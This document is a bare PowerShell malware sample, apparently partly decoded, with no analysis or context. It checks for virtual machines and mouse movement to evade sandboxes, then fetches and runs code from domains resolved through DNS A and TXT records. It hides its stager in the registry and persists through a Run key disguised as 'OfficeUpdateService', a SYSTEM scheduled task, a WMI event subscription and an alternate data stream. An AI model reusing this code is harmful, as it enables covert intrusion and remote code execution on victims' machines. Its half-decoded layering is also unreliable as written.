Power

$data=[System.Convert]::FromBase64String('Add-Type -AssemblyName System.Windows.Forms;
 $X = [System.Windows.Forms.Cursor]::Position.X;
 $Y = [System.Windows.Forms.Cursor]::Position.Y;
 while([System.Windows.Forms.Cursor]::Position.X -eq $X -and [System.Windows.Forms.Cursor]::Position.Y -eq $Y)
 { Start-Sleep -Milliseconds 500;
 }
 $bios = gwmi Win32_BIOS | Select-Object version,serialnumber
 if($bios.SerialNumber -like "*VMware*"){exit;}
 if($bios.Version -match "A M I"){exit;}
 $mouse_move_timeout = 10;
 function calc_delta($sampling_interval)
 { $x1 = [System.Windows.Forms.Cursor]::Position.X;
  $y1 = [System.Windows.Forms.Cursor]::Position.Y;
  sleep -MilliSeconds $sampling_interval;
  $x2 = [System.Windows.Forms.Cursor]::Position.X;
  $y2 = [System.Windows.Forms.Cursor]::Position.Y;
  return ($x2-$x1),($y2-$y1);
 }
 function max_mouse_speed($sampling_time)
 { $super_mover_threshold = 60;
  $max_deriv = 0;
  $timeout = (Get-Date).AddSeconds($sampling_time);
  while($True){ $delta = calc_delta(10);

  $dx = $delta[0];
  $dy = $delta[1];
  if($dy -eq 0)
  { continue;
  }
  else{ if($debug){  $abs=[math]::abs($dx/$dy);

  }

  $abs_deriv = [math]::abs($dx/$dy);
  if($abs_deriv -gt $max_deriv){  $max_deriv = $abs_deriv
  }
  }
  if((Get-Date) -gt $timeout){ break;
  }
  }

  if($max_deriv -gt $super_mover_threshold){ return $True;
  }
  else{ return $False;
  }}
 $mms = max_mouse_speed($mouse_move_timeout);
 if($mms){exit;}
 if([System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Width -lt 800 -and [System.Windows.Forms.SystemInformation]::PrimaryMonitorSize.Height -lt 600)
 { exit;
 }
 $ServiceCode = @'
 $data=[System.Convert]::FromBase64String('${__/====\__/=\__/\} = 10
${_/=\/\_/==\/\/\/\} = @($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZAAtAG4ALgBtAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZAAtAG4ALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQA0AG4ALgBtAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQA0AG4ALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQA0AHgALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQB4ADAALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAB4ADAALgBtAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eAB4ADAALgBwAHcA'))));
function ___/===\/\___/==\_
{ [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList, [Parameter(ValueFromPipeline=$True)]${___/==\/===\/=\/==});
 ${_/==\/=\/\_/\/=\_} = '';
 ${_/==========\/\/==} = _/=\/==\_/===\_/== $DomainList;
 ${/\____/=\___/\/\/} = 0;
 ${_____/====\__/\__} = "$(____/=\_/=====\/==).${___/==\/===\/=\/==}.${/\____/=\___/\/\/}.${_/==========\/\/==}";
 Write-Host $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABvAHcAbgBsAG8AYQBkAA==')))
 ${____/\__/==\_/=\_} = _/==\__/===\_/\/\/ ${_____/====\__/\__};
 if (${____/\__/==\_/=\_} -eq 0) { return 0
 }
 while (${____/\__/==\_/=\_} -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAuADAALgAwAC4AMAA='))))
 { Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBwADoAIAAkAHsAXwBfAF8AXwAvAFwAXwBfAC8APQA9AFwAXwAvAD0AXABfAH0A')));
 ${_____/\_/=====\_/} = ___/\/\/=\/==\/\__ ${____/\__/==\_/=\_};
 ${/=\_/=\___/\___/=} = _/==\_/\/====\/\__ ${_____/\_/=====\_/};
 Write-Host ${/=\_/=\___/\___/=};
 ${/==\/=\_/===\/===} = (_/==\_/\/\__/\/\/\ ${_____/====\__/\__}) -join '';
 if (${/==\/=\_/===\/===} -eq 0) { return 0
 }
 ${___/==\_/=\/=\_/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
 ${__/\_/\/\_/\/==\_} = (${___/==\_/=\/=\_/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${/==\/=\_/===\/===})) | foreach{$_.ToString("X2") }) -join "";
 ${___/=\/=\_____/\/} = _/==\/==\/=\_/\_/\ ${__/\_/\/\_/\/==\_}.Substring(0, 8) | _/==\_/\/====\/\__; if([string]${/=\_/=\___/\___/=} -eq [string]${___/=\/=\_____/\/})
 {  ${_/==\/=\/\_/\/=\_} += ${/==\/=\_/===\/===};
  ${_/==========\/\/==} = _/=\/==\_/===\_/== $DomainList;
  ${/\____/=\___/\/\/}++;
 }
 ${_____/====\__/\__} = "$(____/=\_/=====\/==).${___/==\/===\/=\/==}.${/\____/=\___/\/\/}.${_/==========\/\/==}";
 ${____/\__/==\_/=\_} = _/==\__/===\_/\/\/ ${_____/====\__/\__};
 if (${____/\__/==\_/=\_} -eq 0) {  return 0
 }
 }
 return [string]${_/==\/=\/\_/\/=\_};
}
function _/=\/==\_/===\_/==
{ param([array]$DomainList)
 if($DomainList.count -eq 1)
 { return $DomainList;
 }
 return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)];
}
function ____/=\_/=====\/==()
{ ${___/\__/\/\_/\/\/} = gwmi Win32_BIOS | Select -ExpandProperty SerialNumber ;
 ${___/==\_/=\/=\_/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
 ${__/\_/\/\_/\/==\_} = (${___/==\_/=\/=\_/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${___/\__/\/\_/\/\/})) | %{$_.ToString("X2") }) -join "";
 return ${__/\_/\/\_/\/==\_}.Substring(0, 10);
}
function __/\/=\_/=\______/
{ [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]${__/==\/\___/\_/\__});
 if((-not $DomainList) -or ($DomainList.count -eq 0))
 { Throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvACAAZABvAG0AYQBpAG4AcwA=')));
 }
 ${_/==========\/\/==} = _/=\/==\_/===\_/== $DomainList;
 try
 { return &${__/==\/\___/\_/\__} -Domain ${_/==========\/\/==};
 }
 catch
 { Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQByAHIAbwByADoAIAAkAGUAcgByAG8AcgA=')));
 return __/\/=\_/=\______/ ([array]($DomainList | ? {$_ -ne ${_/==========\/\/==} })) ${__/==\/\___/\_/\__};
 }}
function _/==\__/===\_/\/\/
{ [CmdletBinding()]
 param([Parameter()]${_/==========\/\/==})
 ${_/==\/=\/\_/\/==\} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
 ${_/\__/\______/=\_} = ""
 if(${_/==\/=\/\_/\/==\} -gt 2)
 { try{${_/\__/\______/=\_}=(Resolve-DnsName -Name ${_/==========\/\/==} -Type A -ErrorAction Stop).IPAddress}catch{${_/\__/\______/=\_} = _/==\__/===\_/\/\/ ${_/==========\/\/==}}
 }
 else
 {
 try{ ${/=\/\/=\/=\/\/\/\} = (iex $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AGEAIAAkAHsAXwAvAD0APQA9AD0APQA9AD0APQA9AD0AXAAvAFwALwA9AD0AfQA='))) 2>&1 )
 ${____/\/=\/====\_/} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8ALwA9AD0APQA9AD0APQA9AD0APQA9AFwALwBcAC8APQA9AH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')))
 ${_/====\_/\/\/\/\/} = ${____/\/=\/====\_/}.Match(${/=\/\/=\/=\/\/\/\})
 ${____/\_/\__/\/===} = 0
 while ((-not ${_/====\_/\/\/\/\/}.Success) -and (${____/\_/\__/\/===} -ne ${__/====\__/=\__/\})) {sleep -s 1
  ${/=\/\/=\/=\/\/\/\} = nslookup -type=a ${_/==========\/\/==} 2>&1
${____/\/=\/====\_/} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwBfAF8AXwAvAD0APQA9AD0AXABfAF8ALwBcAF8AXwB9ACgALgBsAG8AYwBhAGwAZABvAG0AYQBpAG4AKQAqAFwAcwAqAEEAZABkAHIAZQBzAHMAKABlAHMAKQAqADoAXABzACoAKABbAFwAZABcAC4AXQAqACkA')))
${_/====\_/\/\/\/\/} = ${____/\/=\/====\_/}.Match(${/=\/\/=\/=\/\/\/\})
${____/\_/\__/\/===} = ${____/\_/\__/\/===} + 1
 }
 if ((-not ${_/====\_/\/\/\/\/}.Success)) {return 0
 } else {  ${_/\__/\______/=\_} = ${_/====\_/\/\/\/\/}.Groups[3].Value
 }
 } catch{}
 }
 ${__/===\__/\___/\_} = ${_/\__/\______/=\_}|Out-String;
 if(${__/===\__/\___/\_} -eq "")
 { ${script:___/=\/\__/\/\_/\} = ${_/=\/\_/==\/\/\/\}[(Get-Random -Maximum (${_/=\/\_/==\/\/\/\}).count)];
 }
 return ${__/===\__/\___/\_}.Trim();
}
function _/==\_/\/\__/\/\/\
{ [CmdletBinding()]
 param([Parameter()]${_/==========\/\/==})
 ${_/==\/=\/\_/\/==\} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
 ${_/\__/\______/=\_} = ""
 if(${_/==\/=\/\_/\/==\} -gt 2)
 { try{${_/\__/\______/=\_}=(Resolve-DnsName -Name ${_/==========\/\/==} -Type TXT -ErrorAction Stop).Strings}catch{${_/\__/\______/=\_} = _/==\_/\/\__/\/\/\ ${_/==========\/\/==}}
 }
 else
 { try{ ${/=\/\/=\/=\/\/\/\} = (iex $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJAB7AF8ALwA9AD0APQA9AD0APQA9AD0APQA9AFwALwBcAC8APQA9AH0A'))) 2>&1 )
 ${____/\/=\/====\_/} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
 ${___/==\/=\_/\_/==} = ${____/\/=\/====\_/}.Matches(${/=\/\/=\/=\/\/\/\});
 ${____/\_/\__/\/===} = 0
 while ((${___/==\/=\_/\_/==}.count -eq 0) -and (${__/====\__/=\__/\} -ne ${____/\_/\__/\/===})){  sleep -s 1
  ${____/\_/\__/\/===} = ${____/\_/\__/\/===} + 1
  ${/=\/\/=\/=\/\/\/\} = nslookup -type=txt ${_/==========\/\/==} 2>&1;
  ${____/\/=\/====\_/} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
  ${___/==\/=\_/\_/==} = ${____/\/=\/====\_/}.Matches(${/=\/\/=\/=\/\/\/\});
 }
 if (${___/==\/=\_/\_/==}.count -eq 0) {  return 0
 } else {  ${_/\__/\______/=\_} = (${____/\/=\/====\_/}.Matches(${/=\/\/=\/=\/\/\/\}) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' ';
 }
 } catch{Write-Host $Error[0]}
 }
 ${__/===\__/\___/\_} = ${_/\__/\______/=\_}|Out-String;
 if(${__/===\__/\___/\_} -eq "")
 { ${script:___/=\/\__/\/\_/\} = ${_/=\/\_/==\/\/\/\}[(Get-Random -Maximum (${_/=\/\_/==\/\/\/\}).count)];
 }
 return ${__/===\__/\___/\_}.Trim();
}
function _/=\__/\_/==\/\/=\
{ [CmdletBinding()]Param ([Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)][byte[]] $byteArray = $(Throw($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAA='))))))
 Process
 { ${__/\_/\_/\_/\/==\} = New-Object System.IO.MemoryStream;
 ${__/\_/\_/\_/\/==\}.Write($byteArray, 0, $byteArray.Length);
 $null = ${__/\_/\_/\_/\/==\}.Seek(0,0);
 ${/===\_/===\__/=\_} = New-Object System.IO.Compression.GZipStream(${__/\_/\_/\_/\/==\}, [System.IO.Compression.CompressionMode]::Decompress);
 ${_/===\____/\/\___} = New-Object System.IO.MemoryStream;
 ${_/==\____/=\/==\_} = New-Object System.IO.StreamReader(${/===\_/===\__/=\_}, [system.Text.Encoding]::UTF8);
 echo ${_/==\____/=\/==\_}.readtoend();
 }}
function _/==\_/\__/\_/=\__
{ [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${___/=\_/==\/\__/==});
 if (${___/=\_/==\/\__/==} -eq 0) { return 0
 }
 ${/=\__/\____/=\/=\} = [System.Convert]::FromBase64String(${___/=\_/==\/\__/==});
 return _/=\__/\_/==\/\/=\(${/=\__/\____/=\/=\});
}
function Get-Stage-PS
{ [CmdletBinding()]param([Parameter()]$DomainList);
 return __/\/=\_/=\______/ $DomainList
 {return _/==\_/\/\__/\/\/\ "$(____/=\_/=====\/==).stage.${_/==========\/\/==}" | _/==\_/\__/\_/=\__; };};
function ____/\/\/=\__/=\__
{ [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList);
 return ___/===\/\___/==\_ $DomainList $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAZwBlAA=='))) | _/==\_/\__/\_/=\__;
}
function _/==\/==\/=\_/\_/\
{ [CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${_/=\/\___/=\_/\/\/});
 ${__/\/===\/\/\____} = @{ '0' = 0;
 '1' = 1;
 '2' = 2;
 '3' = 3;
 '4' = 4;
 '5' = 5;
 '6' = 6;
 '7' = 7;
 '8' = 8;
 '9' = 9;
 'A' = 10;
 'B' = 11;
 'C' = 12;
 'D' = 13;
 'E' = 14;
 'F' = 15;
 };
 ${_/\/==\/=\/=\/\/\} = "${_/=\/\___/=\_/\/\/}".Length;
 ${_/=\__/\____/\___} = ${_/\/==\/=\/=\/\/\};
 [uint64]${/=\__/\/==\/\_/=\} = 0;
 while (${_/\/==\/=\/=\/\/\} -ne 0)
 { ${_/\/==\/=\/=\/\/\}--;
 ${/======\/==\/=\/\} = ${__/\/===\/\/\____}[[string]${_/=\/\___/=\_/\/\/}[${_/\/==\/=\/=\/\/\}]];
 ${/==\/\__/===\_/\/} = _/=\/==\___/==\/=\ 16 (${_/=\__/\____/\___} - ${_/\/==\/=\/=\/\/\} - 1);
 ${/=\__/\/==\/\_/=\} += [uint64]([uint64]${/======\/==\/=\/\} * [uint64]${/==\/\__/===\_/\/});
 }
 return ${/=\__/\/==\/\_/=\};
}
function _/=\/==\___/==\/=\
{ [CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${__/==\/\/==\/=====}, [Parameter(ValueFromPipeline=$True)]${___/\/=\/=====\/\_});
 return [Math]::Pow(${__/==\/\/==\/=====}, ${___/\/=\/=====\/\_});
}
function _/==\_/\/====\/\__
{ [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/\__/=\/==\/=\/=});
 return [convert]::ToString(${__/\__/=\/==\/=\/=},2);
}
function ___/\/\/=\/==\/\__
{ [CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${______/\__/==\_/=\});
 ${___/==\___/\/==\_} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAF8AXwBfAC8AXABfAF8ALwA9AD0AXABfAC8APQBcAH0A'))).Split(".");
 ${/=\/=\__/=======\} = [uint64]([uint64]${___/==\___/\/==\_}[0] * 16777216);
 ${___/\_/====\/\/\_} = [uint64]([uint64]${___/==\___/\/==\_}[1] * 65536);
 ${/=\/\__/=\/=\__/\} = [uint64]([uint64]${___/==\___/\/==\_}[2] * 256);
 ${_/=\/\/==\/=\_/\/} = ${___/==\___/\/==\_}[3];
 ${_____/\__/\_/=\/\} = ${/=\/=\__/=======\} + ${___/\_/====\/\/\_} + ${/=\/\__/=\/=\__/\} + ${_/=\/\/==\/=\_/\/};
 return ${_____/\__/\_/=\/\};
}
function Int-To-Ip
{ [CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]$uint);
 ${/=\/=\__/=======\} = [uint64]([uint64]$uint / 16777216) % 256;
 ${___/\_/====\/\/\_} = [uint64]([uint64]$uint / 65536) % 256;
 ${/=\/\__/=\/=\__/\} = [uint64]([uint64]$uint / 256) % 256;
 ${_/=\/\/==\/=\_/\/} = [uint64]([uint64]$uint) % 256;
 return [string]${/=\/=\__/=======\} + '.' + [string]${___/\_/====\/\/\_} + '.' + [string]${/=\/\__/=\/=\__/\} + '.' + [string]${_/=\/\/==\/=\_/\/};
}
function ___/\/=\____/\_/\_
{ try
 { ${_/==\/=\/\_/\/=\_} = ____/\/\/=\__/=\__(${_/=\/\_/==\/\/\/\});
 iex ${_/==\/=\/\_/\/=\_};
 } catch { ___/\/=\____/\_/\_
 }}
___/\/=\____/\_/\_
');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0);$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX $sr.readtoend();
 '@
 $stgBytes = [System.Text.Encoding]::Unicode.GetBytes($ServiceCode)
 $stgB64 =[Convert]::ToBase64String($stgBytes)
 New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'OfficeUpdateService' -Value $stgB64 -force
 $stgC = @'
 $b64=(Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').OfficeUpdateService;$stCode=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64));[System.Threading.Mutex]$m;[bool]$mtmp=$false;$m=New-Object System.Threading.Mutex($true, [string]1100313370, [ref] $mtmp);if(!$mtmp){exit;}IEX $stCode;
 '@
 $eCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($stgC))
 try{ New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OfficeUpdateService' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
 } catch{try{New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'OfficeUpdateService' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force} catch{}}
 function Invoke-SchTask
 { $taskName = 'OfficeUpdateService';

  New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'MSFT' -Value 'IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Control` Panel\Desktop).OfficeUpdateService)))' -force
  $ps_version = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
  if($ps_version -gt 2)
  { $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue;
  if ($task -ne $null)
  { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false;
  }
  $action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ep bypass -noni -w hidden -C IEX((Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').MSFT)"
  $trigger = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:15:00
  $settings = New-ScheduledTaskSettingsSet -Compatibility Win8
  $principal = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Highest
  $definition = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger -Settings $settings -Description "Run $($taskName) at startup"
  Register-ScheduledTask -TaskName $taskName -InputObject $definition
  $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
  }
  else
  { schtasks.exe /F /create /tn $taskName /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -w hidden -NoLogo -NonI -ep bypass -nop -c 'IEX((Get-ItemProperty -Path ''HKCU:\Control Panel\Desktop'').MSFT)'" /sc onstart /ru System
  }}
 function Invoke-WMI-Pers
 { $psVersion = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
  $adsDir = $env:programdata + '\Windows'
  $adsModuleName = 'win.dll'
  if ($psVersion -gt 2)
  { Set-Content -Path $adsDir -Value $ServiceCode -Stream 'win.dll'
  }
  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
  if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
  {
  $filterName = 'win_Filter';
  $consumerName = 'win_Consumer';

  Get-WmiObject __eventFilter -namespace root\subscription | Remove-WmiObject
  Get-WmiObject CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
  Get-WmiObject __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
  $filterResult = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = $filterName; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = "Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'"}
  if ($psVersion -gt 2)
  { $encCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX `$(Get-Content -Path $adsDir -Stream $adsModuleName|Out-String)"))
  Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = $consumerName; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e $encCmd "}
  }
  }}
 Invoke-WMI-Pers
 Invoke-SchTask
 IEX $stgC
 ');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$cs = New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);$t=$sr.readtoend();IEX $t;